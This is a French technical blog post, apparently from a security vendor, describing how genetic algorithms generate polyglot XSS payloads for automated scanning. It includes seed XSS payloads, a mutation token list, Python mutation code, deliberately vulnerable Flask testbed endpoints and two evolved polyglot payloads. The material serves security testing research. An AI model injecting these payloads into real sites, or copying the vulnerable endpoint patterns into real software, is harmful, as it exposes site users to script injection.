Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

Trouver des payloads polyglottes XSS surhumains grâce aux algorithmes génétiques

Cet article technique approfondi explique comment exploiter les algorithmes génétiques pour créer des payloads polyglottes XSS surhumains.

Résumé

Cet article technique approfondi explique comment exploiter les algorithmes génétiques pour créer des payloads polyglottes XSS surhumains.

Nous commençons par souligner l'importance de détecter les vulnérabilités XSS et les difficultés que rencontrent les solutions automatisées pour tester pleinement des applications réelles dans un temps raisonnable, puis nous plongeons dans l'utilisation des algorithmes génétiques pour créer des payloads polyglottes.

La dernière partie de l'article présente des exemples de payloads générés et discute des axes d'amélioration futurs.

Cross-site scripting (XSS)

Le cross-site scripting (XSS) est une classe de vulnérabilités qui touche les applications web. Il concerne aussi les applications mobiles construites avec des frameworks JavaScript multiplateformes, comme Cordova ou Ionic, ainsi que les applications embarquant un navigateur.

H1
Statistiques de Hacker One

Selon le « Trends and Security report » de Hacker One, le XSS est la vulnérabilité la plus signalée. Il figure aussi dans l'OWASP Top 10 des risques de sécurité depuis sa création en 2003.

OWSP
OWASP Top 10

Outre la large diffusion des vulnérabilités XSS, leur impact peut avoir de graves conséquences. Par exemple, un XSS dans une console cloud comme celle d'AWS peut mener à une exécution de code à distance sur une instance EC2. Un XSS sur le Google Playstore peut conduire à l'installation d'une application malveillante sur l'appareil mobile de l'utilisateur ciblé.

Le XSS a aussi été utilisé par des attaquants soutenus par des États et des organisations criminelles pour suivre la localisation de dissidents et de lanceurs d'alerte ou pour démasquer leur véritable identité.

Sources :

Dans le même temps, l'exploitation d'un XSS est difficile à détecter. Les solutions de protection comme les WAF ou les RASP sont inefficaces, au point que le Chrome XSS Auditor a fini par être abandonné en raison de la prévalence de contournements connus.

Les XSS ne sont pas seulement courants : leur impact peut être dévastateur et leur exploitation réelle est difficile à détecter.

Repérer les XSS

Le XSS prend différentes formes. Il existe des XSS réfléchis, persistants, basés sur le DOM, basés sur postMessage.

L'entrée d'un XSS peut provenir du chemin, des paramètres, du fragment d'URL, du cookie, du referrer. Elle peut être injectée depuis une frame parente ou depuis une iframe enfant.

Les approches statiques pour détecter les vulnérabilités XSS sont rarement efficaces en raison de la nature très dynamique du langage JavaScript. Cela est aggravé par les transpileurs, minifieurs et « uglifiers » JavaScript qui exploitent la nature dynamique du langage pour des raisons de performance et d'obfuscation.

JS
JS minifié

Le moyen le plus efficace d'identifier des vulnérabilités XSS est l'analyse dynamique, qui peut être renforcée par différentes formes de traçage de l'exécution, comme le traçage de taint des trusted-types, le hooking de fonctions ou le traçage bas niveau des chaînes de Chrome.

Détecter un XSS par analyse dynamique est simple. Il s'agit d'injecter un payload fonctionnel qui déclenche un callback indiquant la réussite de l'injection.

Détection dynamique

L'implémentation d'Ostorlab s'appuie sur Chrome pour afficher et tester le XSS. L'utilisation d'un navigateur complet permet une prise en charge immédiate des applications très riches en JavaScript, comme les SPA (Single Page Application) construites avec des frameworks tels que React, Angular ou Vue.js.

Chrome est lancé en mode headless avec une longue liste de flags d'optimisation des performances, comme la désactivation de certaines fonctionnalités destinées aux humains et de certaines fonctionnalités de sécurité susceptibles de fausser le résultat de l'analyse.

Voici des exemples de flags passés à Chrome :

'--no-default-browser-check',
'--no-first-run',
'--disable-client-side-phishing-detection',
'--disable-component-extensions-with-background-pages',
'--disable-default-apps',
'--disable-extensions',
'--mute-audio',
'--disable-background-timer-throttling',
'--disable-backgrounding-occluded-windows',
'--disable-features=ScriptStreaming',
'--disable-hang-monitor',
'--disable-ipc-flooding-protection',
'--disable-notifications',
'--disable-popup-blocking',
'--disable-prompt-on-repost',
'--disable-renderer-backgrounding',
'--js-flags=--random-seed=XXXXX,
'--use-gl=swiftshader',
'--disable-background-networking',
'--disable-breakpad',
'--disable-component-update',
'--disable-domain-reliability',
'--disable-sync',
'--metrics-recording-only'

Une fois Chrome lancé, de nombreuses sessions de test démarrent simultanément et injectent un payload dans chaque entrée ciblée.

Un payload ressemble à <svg onload={callback}>.

Le callback a plusieurs implémentations : ce peut être une fonction JavaScript qui envoie une requête au serveur, une boîte d'alerte ou un message de console.

L'implémentation d'Ostorlab s'appuie sur les événements de console pour signaler la présence d'un XSS. D'autres approches ont montré des particularités lorsqu'on surcharge le callback avec de la logique JavaScript, ce qui peut conduire le code à être hissé (hoisted) et ajouté au bas de la file d'attente JavaScript.

La file d'attente est généralement surchargée d'événements causés par le fuzzer XSS et peut faire manquer le XSS si la page est quittée avant que la file ne soit entièrement vidée.

Les messages de console sont envoyés directement par Chrome et peuvent être interceptés via le Chrome Debug Protocol.

La console a cependant été dépréciée au profit d'un remplaçant plus puissant, qui apporte une fonctionnalité attendue de longue date, le traçage de la pile d'appels :

Le dilemme du million de payloads

Le talon d'Achille du test dynamique des XSS est le dilemme du million de payloads.

Un XSS survient dans différents contextes côté client : dans une balise a, une balise div, dans un attribut, dans son contenu. Il peut avoir une limite de taille, une limite de caractères, ou être causé par l'injection d'un objet JSON spécialisé.

Voici des exemples de contextes XSS :

@app.route("/test_bed/html_element")
def test_bed_html_element():
   return '''<div>{inject}</div>'''

@app.route("/test_bed/js_html_element")
def test_bed_js_html_element():
   return '''
       <div id='elmtId'></div>
       <script>
       window.onload = () => { {
           const payload = decodeURIComponent(window.location.hash.substr(1));
           document.getElementById('elmtId').innerHTML = payload;
       }}
       </script>'''

@app.route("/test_bed/html_attribute_value_double_quoted")
def test_bed_html_attribute_value_double_quoted():
   return '''<div class="{inject}">content</div>'''

@app.route("/test_bed/html_attribute_value_single_quoted")
def test_bed_html_attribute_value_single_quoted():
   return '''<div class='{inject}'>content</div>'''

@app.route("/test_bed//html_attribute_value_not_quoted")
def test_bed_html_attribute_value_not_quoted():
   return '''<div class={inject}>content</div>'''

@app.route("/test_bed/html_attribute_name")
def test_bed_html_attribute_name():
   return '''<div {inject}='class'>content</div>'''

@app.route("/test_bed/script_element")
def test_bed_script_element():
   return '''<script>{inject}</script>'''

@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
   return '''
       <script id='elmtId'></script>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').innerHTML = payload;
       </script>'''

@app.route("/test_bed/script_element")
def test_bed_script_element():
   return '''<script>{inject}</script>'''

@app.route("/test_bed/js_script_element")
def test_bed_js_script_element():
   return '''
       <script id='elmtId'></script>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').innerHTML = payload;
       </script>'''

@app.route("/test_bed/script_double_quoted")
def test_bed_script_double_quoted():
   return '''<script>var hello="{inject}";</script>'''

@app.route("/test_bed/script_single_quoted")
def test_bed_script_single_quoted():
   return '''<script>var hello='{inject}';</script>'''

@app.route("/test_bed/iframe_src")
def test_bed_iframe_src():
   return '''<iframe src="{inject}"></iframe>'''

@app.route("/test_bed/js_iframe_src")
def test_bed_js_iframe_src():
   return '''
       <iframe id='elmtId'></iframe>
       <script>
       const payload = decodeURIComponent(window.location.hash.substr(1));
       document.getElementById('elmtId').setAttribute('src', payload);
       </script>'''

@app.route("/test_bed/html_comment")
def test_bed_html_comment():
   return '''<!-- {inject} -->'''

@app.route("/test_bed/textarea_element")
def test_bed_textarea_element():
   return '''<textarea>{inject}</textarea>'''

Faisons un peu de calcul pour comprendre l'ampleur du problème.

Imaginons que nous voulions tester 30 contextes d'injection (le testbed d'Ostorlab compte plus de 50 contextes d'injection et nous en ajoutons sans cesse de nouveaux). Imaginons aussi que nous ne testions en moyenne que 20 points d'injection :

  • Chemin /{here}/{here2}/{here3}
  • Argument d'URL /a/b/c?q={here}&{here}=test
  • Fragment a/b/c#{here}
  • Cookies Cookile: {here}={here}
  • En-têtes {here}: {here}\r\n
  • Paramètres du corps {here}={here}&{here}={here}
  • Referer Referer: {here}
  • Injection par la frame parente d'une iframe

Et nous voudrions tester chaque page : une application web comme Uber, rien que pour les parties non authentifiées, compte plus de 120k pages, le site institutionnel d'une banque comme ING en compte plus de 7k.

Le test, avec des VM parallèles à hautes performances sur un site capable de gérer un QPS (requêtes par seconde) élevé, représenterait :

  • 30 payloads
  • 20 points d'injection
  • 20 secondes par test entre le chargement, l'exécution, le déclenchement d'événements de clic et l'exécution du callback
  • 100 instances parallèles

Le test d'Uber représenterait 72M de payloads et 166 jours, celui d'ING 4,2 M de requêtes et 9 jours de traitement.

requête
Requête

Tester chaque page, chaque entrée, chaque vulnérabilité, en couvrant chaque contexte, exige des millions de requêtes, ce qui prend des jours, voire des semaines.

Payloads polyglottes

Pour réduire le nombre de requêtes nécessaires à un test complet d'une application, combiner plusieurs contextes d'injection dans un seul payload est une optimisation séduisante.

Par exemple, remplacer 30 contextes par un seul payload permet de passer de 166 jours de test à 5 jours pour Uber, et de 9 jours de test à 7 heures.

Le payload polyglotte est un sujet connu des testeurs de sécurité, avec une compétition pour créer les plus performants :

polyglotte
Polyglotte

Bien qu'il existe déjà de très bons payloads en ligne, ceux-ci ne couvrent pas les contextes des frameworks JavaScript modernes ni les contextes mobiles.

L'autre problème des payloads publics est qu'ils résolvent le problème de la maximisation de la couverture avec une seule requête. Plusieurs contextes sont pourtant incompatibles entre eux, et il faut donc au moins 2 payloads pour une couverture complète, ce que les payloads publics n'abordent jamais.

La création de ces payloads est un problème difficile et long, que certains associent à de la sorcellerie, car il est très difficile de raisonner sur le fonctionnement d'un payload donné.

En pesant les avantages et les difficultés de la création de payloads polyglottes, peut-on automatiser leur création ? Et peut-on surpasser les payloads existants ?

Génération automatisée de payloads

Pour automatiser la création de payloads polyglottes, une solution qui nous est venue à l'esprit est celle des algorithmes génétiques.

L'utilisation d'algorithmes génétiques pour générer des entrées créatives n'est pas une nouveauté dans les outils de sécurité. Les algorithmes génétiques alimentent déjà plusieurs fuzzers binaires comme AFL et HonggFuzz.

American Fuzzy Lop est un fuzzer par force brute associé à un algorithme génétique guidé par l'instrumentation, extrêmement simple mais solide comme le roc. Il utilise une forme modifiée de la couverture des arêtes pour repérer sans effort des changements subtils, à petite échelle, dans le flux de contrôle du programme.

Les algorithmes génétiques s'inspirent du processus de sélection naturelle et appartiennent à la classe plus large des algorithmes évolutionnaires (EA). Ils sont couramment utilisés pour générer des solutions de haute qualité à des problèmes d'optimisation et de recherche en s'appuyant sur des opérateurs d'inspiration biologique comme la mutation, le croisement et la sélection.

Les algorithmes génétiques sont simples à implémenter : ils se composent d'itérations répétables qui s'arrêtent soit après avoir trouvé une solution, soit après un nombre fixe d'itérations. L'implémentation pour notre problème se présente ainsi :

GA
Génétique

  • 1re phase, la population : chaque itération commence par une population. La population initiale, dans notre cas, est une liste de payloads qui couvrent chaque contexte de notre testbed. Plusieurs expériences ont été menées avec de petits payloads simples, d'autres ont ajouté au mélange des payloads très performants.
  • 2e phase, l'évaluation : cette phase consiste à tester chaque payload sur le testbed et à lister chacun des cas de test couverts.
  • 3e phase, la sélection : consiste à trouver les payloads les plus performants. Cela peut se faire avec différents critères de sélection, comme le nombre de contextes couverts, la taille du payload, un ratio pondéré contextes par taille, etc.
  • 4e phase, la mutation et le croisement : consiste à générer une nouvelle population à partir des existantes. Il s'agit d'un ensemble de transformations comme l'injection de tokens, l'inversion de caractères, la troncature, la concaténation partielle, etc.

Trouver la formule exacte de chaque étape de l'algorithme a été un processus d'essais et d'erreurs.

Testbed

Le testbed est composé d'un ensemble d'endpoints vulnérables représentant différents types de XSS, comme DOM, réfléchi, stocké et postMessage. Il implémente différents types de manipulation d'entrées, comme l'encodage d'URL et l'échappement HTML, et prend en charge différents types de points d'injection.

Chaque contexte s'est vu attribuer un poids selon sa prévalence. Ce poids a été attribué à partir de l'avis d'experts du XSS.

Population initiale

Plusieurs expériences ont été menées avec différents ensembles de populations initiales.

L'utilisation de payloads connus et performants était souvent rapidement améliorée pour inclure d'autres contextes, mais stagnait aussi vite dans un maximum local.

L'utilisation de payloads simples à la couverture limitée convergeait lentement vers des payloads plus performants, mais les résultats étaient inédits et inattendus.

_PAYLOADS = (
   "<svg/onload={callback}//>",
   "\" onclick={callback} a=\"",
   "' onclick={callback} a='",
   "a onclick={callback} ",
   "'><svg onload={callback}><b id='",
   "--><svg/onload={callback}//>",
   "</textarea><svg/onload={callback}//>",
   "</title><svg/onload={callback}//>",
   "</style><svg/onload={callback}//>",
   "*/</style><svg/onload={callback}//><style>/*",
   "{callback};",
   "\"-{callback}-\"",
   "'-{callback}-'",
   "</script><script>{callback};",
   "%0a{callback};",
   "*/{callback};/*",
   "*/{callback};/*",
   "{callback}",
   "\\x3csvg onload={callback}\\x3e",
   "a/;{callback};//",
   "a onclick={callback} ",
   "a\" onclick={callback} a=\"",
   "a' onclick={callback} a='",
   "javascript:{callback}",
   "';{callback};//",
   "\";{callback};//",
   "`;{callback}//",
   "<svg onload={callback}>",
   '''"'-function(){ {{callback} }}()-">\"><scrIpt>{callback}</scrIpt><aUdio src=x oNerror={callback}><"-'-function(){ {{callback} }}()"''',
   '''jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk={callback} )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd={callback}//>\x3e''',
)

Sélection

Les phases de sélection consistent à choisir les éléments les plus aptes, qui alimenteront la création d'une nouvelle population.

Plusieurs expériences ont été menées avec différentes fonctions d'aptitude, comme la sélection des payloads les plus courts, des plus performants selon le nombre de contextes couverts, en intégrant la taille du payload. Le poids du contexte a servi à attribuer un score à chaque payload.

Les résultats ont montré que l'algorithme d'aptitude naïf donnait de mauvais résultats, tandis que les fonctions intégrant plusieurs facteurs fournissaient de meilleures solutions.

Croisement et mutation

Les opérations de croisement et de mutation ont été adaptées au problème. Par exemple, une liste de tokens a été créée pour être utilisée à l'étape d'augmentation.

L'élagage et le croisement ont été conçus avec soin pour ne pas affecter l'emplacement du callback.

Les mutations utilisées sont restées simples et se sont révélées efficaces pour générer des solutions inédites.

TOKENS = (
   ';',
   ',',
   '/',
   '/*',
   '"',
   '\'',
   '//',
   '*/',
   '/**/',
   'javascript:',
   '-',
   '`',
   ' ',
   '(',
   ')',
   '</',
   '\n',
   '%0D%0A',
   'a',
   'style',
   'button',
   'title',
   'template',
   'input',
   'title',
   'textarea',
   'script',
   'iframe',
   'frameset',
   'noscript',
   'noembed',
   'template',
   'svg',
   'audio',
   'video',
   'source',
   '<!--',
   '-->',
   '\x3c',
   '\x3e',
   '{callback}',
   'onload=',
   'onerror=',
   'href=',
   'formaction=',
   'src=',
   'onfocus=',
   'onblur=',
   'poster=',
   'autofocus',
   'srcdoc=',
   'function(){ {{callback} }}()',
   '()=>{callback}',
)
def _mutate_with_evolution(self):
   for individual in self._population:
       for _ in range(self._repeated_extra_tokens):
           extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
           self._new_population.add(individual + ''.join(extra_tokens))
           extra_tokens = random.choices(TOKENS, k=self._extra_tokens)
           self._new_population.add(''.join(extra_tokens) + individual)

def _mutate_with_flips(self):
   for individual in self._population:
       separations = re.split('{callback}', individual)
       separation = random.choice(separations)
       if separation:
           self._new_population.add(individual.replace(separation, random.choice(TOKENS), 1))

Chrome
Chrome

Pendant l'étape de mutation et de croisement, certains payloads ont été écartés, par exemple pour dépassement d'une limite de taille.

Un inconvénient des algorithmes génétiques est la difficulté à reproduire des résultats passés. Le facteur aléatoire des opérations de mutation et de croisement fait que chaque expérience produit des résultats différents. Pour garantir que l'expérience soit reproductible, il est nécessaire d'initialiser toutes les fonctions aléatoires avec des valeurs sauvegardées.

Résultats

Voici des exemples de payloads très performants : le premier a utilisé comme graine un payload connu et performant légèrement amélioré. Le second a été créé à partir de payloads simples.

Certains payloads exploitent des comportements méconnus du navigateur Chrome, comme par exemple le fait qu'une balise SVG intégrée dans une autre balise SVG déclenche quand même le callback JavaScript.

javascript:{callback}//*/javascript:javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*&lt;svg/*/onload={callback}onload={callback}//><svg onload={callback}><svg onload={callback}>*/</style><script>{callback}</script><style>
-{callback}//</style><svg/onload={callback}//>/**/{callback}//("-{callback}-"///,\'-{callback}-\'--><svg/onload={callback}>\\x3csvg onload={callback}\\x3e</textarea><svg/onload={callback}//>/**/{callback}//</script><script>{callback}//function(){ {{callback} }}()*/{callback}--><svg/onload={callback}//>

Perspectives

L'utilisation de cette approche contre des filtres XSS a donné des résultats prometteurs, mais nécessite encore de travailler à l'adaptation des fonctions d'aptitude.

D'autres axes d'amélioration sont l'utilisation d'algorithmes génétiques adaptatifs pour accélérer la convergence vers une solution performante et l'exploration de l'arbre de recherche Monte Carlo.

L'application de cette approche à des concepts similaires de fuzzing d'applications en production, comme la recherche de vulnérabilités XSS nécessitant des entrées personnalisées, du type {action: ‘render’, payload: ‘injectme’ }, avec un traçage de taint comme boucle de rétroaction.

Tags :

xss, web, security